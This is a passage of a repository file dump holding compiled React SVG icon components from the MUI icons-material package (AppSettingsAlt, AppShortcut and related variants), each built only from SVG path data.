    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M10 4h4v4h-4zM4 16h4v4H4zm0-6h4v4H4zm0-6h4v4H4zm12 0h4v4h-4zm-5 13.86V20h2.1l5.98-5.97-2.12-2.12zm3-5.83V10h-4v4h2.03zm6.85-.47-1.41-1.41c-.2-.2-.51-.2-.71 0l-1.06 1.06 2.12 2.12 1.06-1.06c.2-.2.2-.51 0-.71\"\n}), 'AppRegistrationTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/AppSettingsAlt.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m21.81 12.74-.82-.63v-.22l.8-.63c.16-.12.2-.34.1-.51l-.85-1.48c-.07-.13-.21-.2-.35-.2q-.075 0-.15.03l-.95.38c-.08-.05-.11-.07-.19-.11l-.15-1.01c-.03-.21-.2-.36-.4-.36h-1.71c-.2 0-.37.15-.4.34l-.14 1.01c-.03.02-.07.03-.1.05l-.09.06-.95-.38q-.075-.03-.15-.03c-.14 0-.27.07-.35.2l-.85 1.48c-.1.17-.06.39.1.51l.8.63v.23l-.8.63c-.16.12-.2.34-.1.51l.85 1.48c.07.13.21.2.35.2q.075 0 .15-.03l.95-.37c.08.05.12.07.2.11l.15 1.01c.03.2.2.34.4.34h1.71c.2 0 .37-.15.4-.34l.15-1.01c.03-.02.07-.03.1-.05l.09-.06.95.38q.075.03.15.03c.14 0 .27-.07.35-.2l.85-1.48c.1-.17.06-.39-.1-.51M18 13.5c-.83 0-1.5-.67-1.5-1.5s.67-1.5 1.5-1.5 1.5.67 1.5 1.5-.67 1.5-1.5 1.5M17 17h2v4c0 1.1-.9 2-2 2H7c-1.1 0-2-.9-2-2V3c0-1.1.9-2 2-2h10c1.1 0 2 .9 2 2v4h-2V6H7v12h10z\"\n}), 'AppSettingsAlt');"
  },
  {
    "path": "packages/mui-icons-material/lib/AppSettingsAlt.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m21.81 12.74-.82-.63v-.22l.8-.63c.16-.12.2-.34.1-.51l-.85-1.48c-.07-.13-.21-.2-.35-.2q-.075 0-.15.03l-.95.38c-.08-.05-.11-.07-.19-.11l-.15-1.01c-.03-.21-.2-.36-.4-.36h-1.71c-.2 0-.37.15-.4.34l-.14 1.01c-.03.02-.07.03-.1.05l-.09.06-.95-.38q-.075-.03-.15-.03c-.14 0-.27.07-.35.2l-.85 1.48c-.1.17-.06.39.1.51l.8.63v.23l-.8.63c-.16.12-.2.34-.1.51l.85 1.48c.07.13.21.2.35.2q.075 0 .15-.03l.95-.37c.08.05.12.07.2.11l.15 1.01c.03.2.2.34.4.34h1.71c.2 0 .37-.15.4-.34l.15-1.01c.03-.02.07-.03.1-.05l.09-.06.95.38q.075.03.15.03c.14 0 .27-.07.35-.2l.85-1.48c.1-.17.06-.39-.1-.51M18 13.5c-.83 0-1.5-.67-1.5-1.5s.67-1.5 1.5-1.5 1.5.67 1.5 1.5-.67 1.5-1.5 1.5M17 17h2v4c0 1.1-.9 2-2 2H7c-1.1 0-2-.9-2-2V3c0-1.1.9-2 2-2h10c1.1 0 2 .9 2 2v4h-2V6H7v12h10z\"\n}), 'AppSettingsAlt');"
  },
  {
    "path": "packages/mui-icons-material/lib/AppSettingsAltOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m21.81 12.74-.82-.63v-.22l.8-.63c.16-.12.2-.34.1-.51l-.85-1.48c-.07-.13-.21-.2-.35-.2q-.075 0-.15.03l-.95.38c-.08-.05-.11-.07-.19-.11l-.15-1.01c-.03-.21-.2-.36-.4-.36h-1.71c-.2 0-.37.15-.4.34l-.14 1.01c-.03.02-.07.03-.1.05l-.09.06-.95-.38q-.075-.03-.15-.03c-.14 0-.27.07-.35.2l-.85 1.48c-.1.17-.06.39.1.51l.8.63v.23l-.8.63c-.16.12-.2.34-.1.51l.85 1.48c.07.13.21.2.35.2q.075 0 .15-.03l.95-.37c.08.05.12.07.2.11l.15 1.01c.03.2.2.34.4.34h1.71c.2 0 .37-.15.4-.34l.15-1.01c.03-.02.07-.03.1-.05l.09-.06.95.38q.075.03.15.03c.14 0 .27-.07.35-.2l.85-1.48c.1-.17.06-.39-.1-.51M18 13.5c-.83 0-1.5-.67-1.5-1.5s.67-1.5 1.5-1.5 1.5.67 1.5 1.5-.67 1.5-1.5 1.5M17 18H7V6h10v1h2V3c0-1.1-.9-2-2-2H7c-1.1 0-2 .9-2 2v18c0 1.1.9 2 2 2h10c1.1 0 2-.9 2-2v-4h-2zM7 3h10v1H7zm10 18H7v-1h10z\"\n}), 'AppSettingsAltOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/AppSettingsAltOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m21.81 12.74-.82-.63v-.22l.8-.63c.16-.12.2-.34.1-.51l-.85-1.48c-.07-.13-.21-.2-.35-.2q-.075 0-.15.03l-.95.38c-.08-.05-.11-.07-.19-.11l-.15-1.01c-.03-.21-.2-.36-.4-.36h-1.71c-.2 0-.37.15-.4.34l-.14 1.01c-.03.02-.07.03-.1.05l-.09.06-.95-.38q-.075-.03-.15-.03c-.14 0-.27.07-.35.2l-.85 1.48c-.1.17-.06.39.1.51l.8.63v.23l-.8.63c-.16.12-.2.34-.1.51l.85 1.48c.07.13.21.2.35.2q.075 0 .15-.03l.95-.37c.08.05.12.07.2.11l.15 1.01c.03.2.2.34.4.34h1.71c.2 0 .37-.15.4-.34l.15-1.01c.03-.02.07-.03.1-.05l.09-.06.95.38q.075.03.15.03c.14 0 .27-.07.35-.2l.85-1.48c.1-.17.06-.39-.1-.51M18 13.5c-.83 0-1.5-.67-1.5-1.5s.67-1.5 1.5-1.5 1.5.67 1.5 1.5-.67 1.5-1.5 1.5M17 18H7V6h10v1h2V3c0-1.1-.9-2-2-2H7c-1.1 0-2 .9-2 2v18c0 1.1.9 2 2 2h10c1.1 0 2-.9 2-2v-4h-2zM7 3h10v1H7zm10 18H7v-1h10z\"\n}), 'AppSettingsAltOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/AppSettingsAltRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17 18H7V6h10v1h2V3c0-1.1-.9-2-2-2L7 1.01C5.9 1.01 5 1.9 5 3v18c0 1.1.9 2 2 2h10c1.1 0 2-.9 2-2v-4h-2zm4-6c0-.13-.02-.26-.04-.39l.64-.48c.2-.15.26-.44.13-.66l-.57-.96c-.13-.21-.39-.3-.62-.2l-.72.3c-.2-.15-.42-.29-.65-.39l-.1-.77c-.03-.25-.24-.43-.49-.44l-1.12-.02c-.26 0-.47.18-.5.44l-.1.79c-.24.1-.45.23-.65.39l-.72-.3c-.23-.1-.5-.01-.62.2l-.57.96c-.13.22-.08.5.13.66l.64.48c-.05.13-.07.26-.07.39s.02.25.04.37l-.64.49c-.2.15-.26.43-.13.65l.56.97c.13.22.39.31.63.21l.73-.31c.2.16.42.3.67.4l.1.77c.03.25.24.44.5.44h1.12c.25 0 .46-.19.5-.44l.1-.77c.24-.1.46-.24.67-.4l.73.31c.23.1.5.01.63-.21l.56-.97c.13-.22.07-.5-.13-.65l-.64-.49c-.02-.12 0-.24 0-.37m-3 1.5c-.83 0-1.5-.67-1.5-1.5s.67-1.5 1.5-1.5 1.5.67 1.5 1.5-.67 1.5-1.5 1.5\"\n}), 'AppSettingsAltRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/AppSettingsAltRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M17 18H7V6h10v1h2V3c0-1.1-.9-2-2-2L7 1.01C5.9 1.01 5 1.9 5 3v18c0 1.1.9 2 2 2h10c1.1 0 2-.9 2-2v-4h-2zm4-6c0-.13-.02-.26-.04-.39l.64-.48c.2-.15.26-.44.13-.66l-.57-.96c-.13-.21-.39-.3-.62-.2l-.72.3c-.2-.15-.42-.29-.65-.39l-.1-.77c-.03-.25-.24-.43-.49-.44l-1.12-.02c-.26 0-.47.18-.5.44l-.1.79c-.24.1-.45.23-.65.39l-.72-.3c-.23-.1-.5-.01-.62.2l-.57.96c-.13.22-.08.5.13.66l.64.48c-.05.13-.07.26-.07.39s.02.25.04.37l-.64.49c-.2.15-.26.43-.13.65l.56.97c.13.22.39.31.63.21l.73-.31c.2.16.42.3.67.4l.1.77c.03.25.24.44.5.44h1.12c.25 0 .46-.19.5-.44l.1-.77c.24-.1.46-.24.67-.4l.73.31c.23.1.5.01.63-.21l.56-.97c.13-.22.07-.5-.13-.65l-.64-.49c-.02-.12 0-.24 0-.37m-3 1.5c-.83 0-1.5-.67-1.5-1.5s.67-1.5 1.5-1.5 1.5.67 1.5 1.5-.67 1.5-1.5 1.5\"\n}), 'AppSettingsAltRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/AppSettingsAltSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m21.81 12.74-.82-.63v-.22l.8-.63c.16-.12.2-.34.1-.51l-.85-1.48c-.07-.13-.21-.2-.35-.2q-.075 0-.15.03l-.95.38c-.08-.05-.11-.07-.19-.11l-.15-1.01c-.03-.21-.2-.36-.4-.36h-1.71c-.2 0-.37.15-.4.34l-.14 1.01c-.03.02-.07.03-.1.05l-.09.06-.95-.38q-.075-.03-.15-.03c-.14 0-.27.07-.35.2l-.85 1.48c-.1.17-.06.39.1.51l.8.63v.23l-.8.63c-.16.12-.2.34-.1.51l.85 1.48c.07.13.21.2.35.2q.075 0 .15-.03l.95-.37c.08.05.12.07.2.11l.15 1.01c.03.2.2.34.4.34h1.71c.2 0 .37-.15.4-.34l.15-1.01c.03-.02.07-.03.1-.05l.09-.06.95.38q.075.03.15.03c.14 0 .27-.07.35-.2l.85-1.48c.1-.17.06-.39-.1-.51M18 13.5c-.83 0-1.5-.67-1.5-1.5s.67-1.5 1.5-1.5 1.5.67 1.5 1.5-.67 1.5-1.5 1.5M5 23V1h14v6h-2V6H7v12h10v-1h2v6z\"\n}), 'AppSettingsAltSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/AppSettingsAltSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m21.81 12.74-.82-.63v-.22l.8-.63c.16-.12.2-.34.1-.51l-.85-1.48c-.07-.13-.21-.2-.35-.2q-.075 0-.15.03l-.95.38c-.08-.05-.11-.07-.19-.11l-.15-1.01c-.03-.21-.2-.36-.4-.36h-1.71c-.2 0-.37.15-.4.34l-.14 1.01c-.03.02-.07.03-.1.05l-.09.06-.95-.38q-.075-.03-.15-.03c-.14 0-.27.07-.35.2l-.85 1.48c-.1.17-.06.39.1.51l.8.63v.23l-.8.63c-.16.12-.2.34-.1.51l.85 1.48c.07.13.21.2.35.2q.075 0 .15-.03l.95-.37c.08.05.12.07.2.11l.15 1.01c.03.2.2.34.4.34h1.71c.2 0 .37-.15.4-.34l.15-1.01c.03-.02.07-.03.1-.05l.09-.06.95.38q.075.03.15.03c.14 0 .27-.07.35-.2l.85-1.48c.1-.17.06-.39-.1-.51M18 13.5c-.83 0-1.5-.67-1.5-1.5s.67-1.5 1.5-1.5 1.5.67 1.5 1.5-.67 1.5-1.5 1.5M5 23V1h14v6h-2V6H7v12h10v-1h2v6z\"\n}), 'AppSettingsAltSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/AppSettingsAltTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m21.81 12.74-.82-.63v-.22l.8-.63c.16-.12.2-.34.1-.51l-.85-1.48c-.07-.13-.21-.2-.35-.2q-.075 0-.15.03l-.95.38c-.08-.05-.11-.07-.19-.11l-.15-1.01c-.03-.21-.2-.36-.4-.36h-1.71c-.2 0-.37.15-.4.34l-.14 1.01c-.03.02-.07.03-.1.05l-.09.06-.95-.38q-.075-.03-.15-.03c-.14 0-.27.07-.35.2l-.85 1.48c-.1.17-.06.39.1.51l.8.63v.23l-.8.63c-.16.12-.2.34-.1.51l.85 1.48c.07.13.21.2.35.2q.075 0 .15-.03l.95-.37c.08.05.12.07.2.11l.15 1.01c.03.2.2.34.4.34h1.71c.2 0 .37-.15.4-.34l.15-1.01c.03-.02.07-.03.1-.05l.09-.06.95.38q.075.03.15.03c.14 0 .27-.07.35-.2l.85-1.48c.1-.17.06-.39-.1-.51M18 13.5c-.83 0-1.5-.67-1.5-1.5s.67-1.5 1.5-1.5 1.5.67 1.5 1.5-.67 1.5-1.5 1.5M17 18H7V6h10v1h2V3c0-1.1-.9-2-2-2H7c-1.1 0-2 .9-2 2v18c0 1.1.9 2 2 2h10c1.1 0 2-.9 2-2v-4h-2zM7 3h10v1H7zm10 18H7v-1h10z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7 3h10v1H7zm0 17h10v1H7z\",\n  opacity: \".3\"\n}, \"1\")], 'AppSettingsAltTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/AppSettingsAltTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"m21.81 12.74-.82-.63v-.22l.8-.63c.16-.12.2-.34.1-.51l-.85-1.48c-.07-.13-.21-.2-.35-.2q-.075 0-.15.03l-.95.38c-.08-.05-.11-.07-.19-.11l-.15-1.01c-.03-.21-.2-.36-.4-.36h-1.71c-.2 0-.37.15-.4.34l-.14 1.01c-.03.02-.07.03-.1.05l-.09.06-.95-.38q-.075-.03-.15-.03c-.14 0-.27.07-.35.2l-.85 1.48c-.1.17-.06.39.1.51l.8.63v.23l-.8.63c-.16.12-.2.34-.1.51l.85 1.48c.07.13.21.2.35.2q.075 0 .15-.03l.95-.37c.08.05.12.07.2.11l.15 1.01c.03.2.2.34.4.34h1.71c.2 0 .37-.15.4-.34l.15-1.01c.03-.02.07-.03.1-.05l.09-.06.95.38q.075.03.15.03c.14 0 .27-.07.35-.2l.85-1.48c.1-.17.06-.39-.1-.51M18 13.5c-.83 0-1.5-.67-1.5-1.5s.67-1.5 1.5-1.5 1.5.67 1.5 1.5-.67 1.5-1.5 1.5M17 18H7V6h10v1h2V3c0-1.1-.9-2-2-2H7c-1.1 0-2 .9-2 2v18c0 1.1.9 2 2 2h10c1.1 0 2-.9 2-2v-4h-2zM7 3h10v1H7zm10 18H7v-1h10z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M7 3h10v1H7zm0 17h10v1H7z\",\n  opacity: \".3\"\n}, \"1\")], 'AppSettingsAltTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/AppShortcut.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17 18H7V6h10v1h2V3c0-1.1-.9-2-2-2H7c-1.1 0-2 .9-2 2v18c0 1.1.9 2 2 2h10c1.1 0 2-.9 2-2v-4h-2zm3.38-8.38L21 11l.62-1.38L23 9l-1.38-.62L21 7l-.62 1.38L19 9z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m16 8-1.25 2.75L12 12l2.75 1.25L16 16l1.25-2.75L20 12l-2.75-1.25zm5 5-.62 1.38L19 15l1.38.62L21 17l.62-1.38L23 15l-1.38-.62z\"\n}, \"1\")], 'AppShortcut');"
  },
  {
    "path": "packages/mui-icons-material/lib/AppShortcut.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M17 18H7V6h10v1h2V3c0-1.1-.9-2-2-2H7c-1.1 0-2 .9-2 2v18c0 1.1.9 2 2 2h10c1.1 0 2-.9 2-2v-4h-2zm3.38-8.38L21 11l.62-1.38L23 9l-1.38-.62L21 7l-.62 1.38L19 9z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"m16 8-1.25 2.75L12 12l2.75 1.25L16 16l1.25-2.75L20 12l-2.75-1.25zm5 5-.62 1.38L19 15l1.38.62L21 17l.62-1.38L23 15l-1.38-.62z\"\n}, \"1\")], 'AppShortcut');"
  },
  {
    "path": "packages/mui-icons-material/lib/AppShortcutOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17 18H7V6h10v1h2V3c0-1.1-.9-2-2-2H7c-1.1 0-2 .9-2 2v18c0 1.1.9 2 2 2h10c1.1 0 2-.9 2-2v-4h-2zM7 3h10v1H7zm10 18H7v-1h10zm3.38-11.38L21 11l.62-1.38L23 9l-1.38-.62L21 7l-.62 1.38L19 9z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m16 8-1.25 2.75L12 12l2.75 1.25L16 16l1.25-2.75L20 12l-2.75-1.25zm5 5-.62 1.38L19 15l1.38.62L21 17l.62-1.38L23 15l-1.38-.62z\"\n}, \"1\")], 'AppShortcutOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/AppShortcutOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M17 18H7V6h10v1h2V3c0-1.1-.9-2-2-2H7c-1.1 0-2 .9-2 2v18c0 1.1.9 2 2 2h10c1.1 0 2-.9 2-2v-4h-2zM7 3h10v1H7zm10 18H7v-1h10zm3.38-11.38L21 11l.62-1.38L23 9l-1.38-.62L21 7l-.62 1.38L19 9z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"m16 8-1.25 2.75L12 12l2.75 1.25L16 16l1.25-2.75L20 12l-2.75-1.25zm5 5-.62 1.38L19 15l1.38.62L21 17l.62-1.38L23 15l-1.38-.62z\"\n}, \"1\")], 'AppShortcutOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/AppShortcutRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17 18H7V6h10v1h2V3c0-1.1-.9-2-2-2H7c-1.1 0-2 .9-2 2v18c0 1.1.9 2 2 2h10c1.1 0 2-.9 2-2v-4h-2zm3.38-8.38.4.87c.09.2.37.2.46 0l.4-.87.87-.4c.2-.09.2-.37 0-.46l-.87-.4-.4-.87c-.09-.2-.37-.2-.46 0l-.4.87-.87.4c-.2.09-.2.37 0 .46z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m15.54 9-.79 1.75-1.75.79c-.39.18-.39.73 0 .91l1.75.79.79 1.76c.18.39.73.39.91 0l.79-1.75 1.76-.79c.39-.18.39-.73 0-.91l-1.75-.79L16.46 9c-.18-.39-.74-.39-.92 0m5.23 4.5-.4.87-.87.4c-.2.09-.2.37 0 .46l.87.4.4.87c.09.2.37.2.46 0l.4-.87.87-.4c.2-.09.2-.37 0-.46l-.87-.4-.4-.87c-.09-.19-.37-.19-.46 0\"\n}, \"1\")], 'AppShortcutRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/AppShortcutRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M17 18H7V6h10v1h2V3c0-1.1-.9-2-2-2H7c-1.1 0-2 .9-2 2v18c0 1.1.9 2 2 2h10c1.1 0 2-.9 2-2v-4h-2zm3.38-8.38.4.87c.09.2.37.2.46 0l.4-.87.87-.4c.2-.09.2-.37 0-.46l-.87-.4-.4-.87c-.09-.2-.37-.2-.46 0l-.4.87-.87.4c-.2.09-.2.37 0 .46z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"m15.54 9-.79 1.75-1.75.79c-.39.18-.39.73 0 .91l1.75.79.79 1.76c.18.39.73.39.91 0l.79-1.75 1.76-.79c.39-.18.39-.73 0-.91l-1.75-.79L16.46 9c-.18-.39-.74-.39-.92 0m5.23 4.5-.4.87-.87.4c-.2.09-.2.37 0 .46l.87.4.4.87c.09.2.37.2.46 0l.4-.87.87-.4c.2-.09.2-.37 0-.46l-.87-.4-.4-.87c-.09-.19-.37-.19-.46 0\"\n}, \"1\")], 'AppShortcutRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/AppShortcutSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17 18H7V6h10v1h2V1H5v22h14v-6h-2zm3.38-8.38L21 11l.62-1.38L23 9l-1.38-.62L21 7l-.62 1.38L19 9z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m16 8-1.25 2.75L12 12l2.75 1.25L16 16l1.25-2.75L20 12l-2.75-1.25zm5 5-.62 1.38L19 15l1.38.62L21 17l.62-1.38L23 15l-1.38-.62z\"\n}, \"1\")], 'AppShortcutSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/AppShortcutSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M17 18H7V6h10v1h2V1H5v22h14v-6h-2zm3.38-8.38L21 11l.62-1.38L23 9l-1.38-.62L21 7l-.62 1.38L19 9z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"m16 8-1.25 2.75L12 12l2.75 1.25L16 16l1.25-2.75L20 12l-2.75-1.25zm5 5-.62 1.38L19 15l1.38.62L21 17l.62-1.38L23 15l-1.38-.62z\"\n}, \"1\")], 'AppShortcutSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/AppShortcutTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7 20h10v1H7zM7 3h10v1H7z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17 18H7V6h10v1h2V3c0-1.1-.9-2-2-2H7c-1.1 0-2 .9-2 2v18c0 1.1.9 2 2 2h10c1.1 0 2-.9 2-2v-4h-2zM7 3h10v1H7zm10 18H7v-1h10zm3.38-11.38L21 11l.62-1.38L23 9l-1.38-.62L21 7l-.62 1.38L19 9z\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m16 8-1.25 2.75L12 12l2.75 1.25L16 16l1.25-2.75L20 12l-2.75-1.25zm5 5-.62 1.38L19 15l1.38.62L21 17l.62-1.38L23 15l-1.38-.62z\"\n}, \"2\")], 'AppShortcutTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/AppShortcutTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M7 20h10v1H7zM7 3h10v1H7z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M17 18H7V6h10v1h2V3c0-1.1-.9-2-2-2H7c-1.1 0-2 .9-2 2v18c0 1.1.9 2 2 2h10c1.1 0 2-.9 2-2v-4h-2zM7 3h10v1H7zm10 18H7v-1h10zm3.38-11.38L21 11l.62-1.38L23 9l-1.38-.62L21 7l-.62 1.38L19 9z\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"m16 8-1.25 2.75L12 12l2.75 1.25L16 16l1.25-2.75L20 12l-2.75-1.25zm5 5-.62 1.38L19 15l1.38.62L21 17l.62-1.38L23 15l-1.38-.62z\"\n}, \"2\")], 'AppShortcutTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Apple.js",
